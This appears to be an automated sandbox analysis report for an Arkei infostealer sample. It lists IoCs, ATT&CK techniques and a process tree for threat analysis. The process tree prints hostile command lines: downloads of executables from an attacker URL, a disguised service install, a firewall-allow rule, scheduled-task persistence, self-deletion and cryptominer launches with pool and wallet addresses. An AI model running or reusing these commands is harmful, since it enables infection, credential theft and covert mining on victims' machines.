arkei | 2b8d595d4763ee7ae46bf143f394fe9239d2a0d1a77dea9d2f69cfb5e253c042

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	B8F1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	B8F1.exe

Deletes itself 1 IoCs

pid	Process
396	Process not Found

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Loads dropped DLL 6 IoCs

pid	Process
744	28C2.exe
744	28C2.exe
744	28C2.exe
5088	B8F1.exe
5088	B8F1.exe
5088	B8F1.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	B8F1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
5088	B8F1.exe
5088	B8F1.exe
1420	EF3.exe
812	setup2.exe
4456	setup3.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3440 set thread context of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 4296 set thread context of 1956	4296	3F0C.exe	85
PID 1840 set thread context of 2764	1840	ukuwirin.exe	88
PID 4932 set thread context of 2960	4932	AA98.exe	96
PID 2772 set thread context of 2632	2772	3EDF.exe	122

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4700	4620	WerFault.exe	98
3044	756	WerFault.exe	114

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AA98.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AA98.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AA98.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0c7cd5a32bf32320089d44dc1a2cb8a3.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	B8F1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	B8F1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	28C2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	28C2.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1160	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
5024	timeout.exe
1372	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	167	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2576	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
2576	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
396	Process not Found

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
628	Process not Found

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
2576	0c7cd5a32bf32320089d44dc1a2cb8a3.exe
4344	924.exe
396	Process not Found
396	Process not Found
396	Process not Found
396	Process not Found
2960	AA98.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeDebugPrivilege	4296	3F0C.exe
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeDebugPrivilege	1956	3F0C.exe
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeDebugPrivilege	2112	F32D.exe
Token: SeRestorePrivilege	4700	WerFault.exe
Token: SeBackupPrivilege	4700	WerFault.exe
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeDebugPrivilege	4700	WerFault.exe
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found
Token: SeShutdownPrivilege	396	Process not Found
Token: SeCreatePagefilePrivilege	396	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 3440 wrote to memory of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 3440 wrote to memory of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 3440 wrote to memory of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 3440 wrote to memory of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 3440 wrote to memory of 2576	3440	0c7cd5a32bf32320089d44dc1a2cb8a3.exe	69
PID 396 wrote to memory of 4344	396	Process not Found	70
PID 396 wrote to memory of 4344	396	Process not Found	70
PID 396 wrote to memory of 4344	396	Process not Found	70
PID 396 wrote to memory of 744	396	Process not Found	71
PID 396 wrote to memory of 744	396	Process not Found	71
PID 396 wrote to memory of 744	396	Process not Found	71
PID 396 wrote to memory of 3228	396	Process not Found	72
PID 396 wrote to memory of 3228	396	Process not Found	72
PID 396 wrote to memory of 3228	396	Process not Found	72
PID 396 wrote to memory of 4296	396	Process not Found	73
PID 396 wrote to memory of 4296	396	Process not Found	73
PID 396 wrote to memory of 4296	396	Process not Found	73
PID 3228 wrote to memory of 3348	3228	34F8.exe	74
PID 3228 wrote to memory of 3348	3228	34F8.exe	74
PID 3228 wrote to memory of 3348	3228	34F8.exe	74
PID 3228 wrote to memory of 812	3228	34F8.exe	76
PID 3228 wrote to memory of 812	3228	34F8.exe	76
PID 3228 wrote to memory of 812	3228	34F8.exe	76
PID 3228 wrote to memory of 408	3228	34F8.exe	78
PID 3228 wrote to memory of 408	3228	34F8.exe	78
PID 3228 wrote to memory of 408	3228	34F8.exe	78
PID 3228 wrote to memory of 1204	3228	34F8.exe	80
PID 3228 wrote to memory of 1204	3228	34F8.exe	80
PID 3228 wrote to memory of 1204	3228	34F8.exe	80
PID 3228 wrote to memory of 1576	3228	34F8.exe	82
PID 3228 wrote to memory of 1576	3228	34F8.exe	82
PID 3228 wrote to memory of 1576	3228	34F8.exe	82
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 3228 wrote to memory of 1752	3228	34F8.exe	86
PID 3228 wrote to memory of 1752	3228	34F8.exe	86
PID 3228 wrote to memory of 1752	3228	34F8.exe	86
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 4296 wrote to memory of 1956	4296	3F0C.exe	85
PID 1840 wrote to memory of 2764	1840	ukuwirin.exe	88
PID 1840 wrote to memory of 2764	1840	ukuwirin.exe	88
PID 1840 wrote to memory of 2764	1840	ukuwirin.exe	88
PID 1840 wrote to memory of 2764	1840	ukuwirin.exe	88
PID 1840 wrote to memory of 2764	1840	ukuwirin.exe	88
PID 396 wrote to memory of 2300	396	Process not Found	90
PID 396 wrote to memory of 2300	396	Process not Found	90
PID 396 wrote to memory of 2300	396	Process not Found	90
PID 396 wrote to memory of 2300	396	Process not Found	90
PID 396 wrote to memory of 4852	396	Process not Found	91
PID 396 wrote to memory of 4852	396	Process not Found	91
PID 396 wrote to memory of 4852	396	Process not Found	91
PID 744 wrote to memory of 4572	744	28C2.exe	92
PID 744 wrote to memory of 4572	744	28C2.exe	92
PID 744 wrote to memory of 4572	744	28C2.exe	92
PID 4572 wrote to memory of 5024	4572	cmd.exe	94
PID 4572 wrote to memory of 5024	4572	cmd.exe	94
PID 4572 wrote to memory of 5024	4572	cmd.exe	94
PID 396 wrote to memory of 4932	396	Process not Found	95
PID 396 wrote to memory of 4932	396	Process not Found	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe
"C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe
  "C:\Users\Admin\AppData\Local\Temp\0c7cd5a32bf32320089d44dc1a2cb8a3.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2576

C:\Users\Admin\AppData\Local\Temp\924.exe
C:\Users\Admin\AppData\Local\Temp\924.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4344

C:\Users\Admin\AppData\Local\Temp\28C2.exe
C:\Users\Admin\AppData\Local\Temp\28C2.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\28C2.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5024

C:\Users\Admin\AppData\Local\Temp\34F8.exe
C:\Users\Admin\AppData\Local\Temp\34F8.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ciwxnhau\
  2⤵
  PID:3348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ukuwirin.exe" C:\Windows\SysWOW64\ciwxnhau\
  2⤵
  PID:812
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create ciwxnhau binPath= "C:\Windows\SysWOW64\ciwxnhau\ukuwirin.exe /d\"C:\Users\Admin\AppData\Local\Temp\34F8.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:408
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description ciwxnhau "wifi internet conection"
  2⤵
  PID:1204
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start ciwxnhau
  2⤵
  PID:1576
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:1752

C:\Users\Admin\AppData\Local\Temp\3F0C.exe
C:\Users\Admin\AppData\Local\Temp\3F0C.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Users\Admin\AppData\Local\Temp\3F0C.exe
  C:\Users\Admin\AppData\Local\Temp\3F0C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1956

C:\Windows\SysWOW64\ciwxnhau\ukuwirin.exe
C:\Windows\SysWOW64\ciwxnhau\ukuwirin.exe /d"C:\Users\Admin\AppData\Local\Temp\34F8.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:2764

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:2300

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4852

C:\Users\Admin\AppData\Local\Temp\AA98.exe
C:\Users\Admin\AppData\Local\Temp\AA98.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4932
- C:\Users\Admin\AppData\Local\Temp\AA98.exe
  C:\Users\Admin\AppData\Local\Temp\AA98.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2960

C:\Users\Admin\AppData\Local\Temp\B8F1.exe
C:\Users\Admin\AppData\Local\Temp\B8F1.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:5088
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B8F1.exe" & exit
  2⤵
  PID:3024
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1372

C:\Users\Admin\AppData\Local\Temp\D13C.exe
C:\Users\Admin\AppData\Local\Temp\D13C.exe
1⤵
- Executes dropped EXE
PID:4620
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4620 -s 916
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:4700

C:\Users\Admin\AppData\Local\Temp\F32D.exe
C:\Users\Admin\AppData\Local\Temp\F32D.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2112

C:\Users\Admin\AppData\Local\Temp\EF3.exe
C:\Users\Admin\AppData\Local\Temp\EF3.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1420

C:\Users\Admin\AppData\Local\Temp\2347.exe
C:\Users\Admin\AppData\Local\Temp\2347.exe
1⤵
- Executes dropped EXE
PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\23DD.bat C:\Users\Admin\AppData\Local\Temp\2347.exe"
  2⤵
  - Modifies registry class
  PID:3448
- - C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2820
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\16050\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:3460
- - C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3380
- - C:\Users\Admin\AppData\Local\Temp\16050\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    PID:756
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 756 -s 412
      4⤵
      Program crash
      PID:3044
- - C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3232
- - C:\Users\Admin\AppData\Local\Temp\16050\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:812
- - C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1288
- - C:\Users\Admin\AppData\Local\Temp\16050\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:4456
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:4588
- - C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\23DB.tmp\23DC.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3980

C:\Users\Admin\AppData\Local\Temp\3EDF.exe
C:\Users\Admin\AppData\Local\Temp\3EDF.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2772
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Checks processor information in registry
  PID:2632
- - C:\Users\Admin\AppData\Roaming\safas2f.exe
    "C:\Users\Admin\AppData\Roaming\safas2f.exe"
    3⤵
    PID:4560
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
      4⤵
      PID:4704
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      PID:5016
- - C:\Users\Admin\AppData\Roaming\whw.exe
    "C:\Users\Admin\AppData\Roaming\whw.exe"
    3⤵
    PID:4992
- - C:\Users\Admin\AppData\Roaming\e3dwefw.exe
    "C:\Users\Admin\AppData\Roaming\e3dwefw.exe"
    3⤵
    PID:608
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
      4⤵
      Creates scheduled task(s)
      PID:1160
- - C:\Users\Admin\AppData\Roaming\asdasdw.exe
    "C:\Users\Admin\AppData\Roaming\asdasdw.exe"
    3⤵
    PID:2440

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
1⤵
PID:4624

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery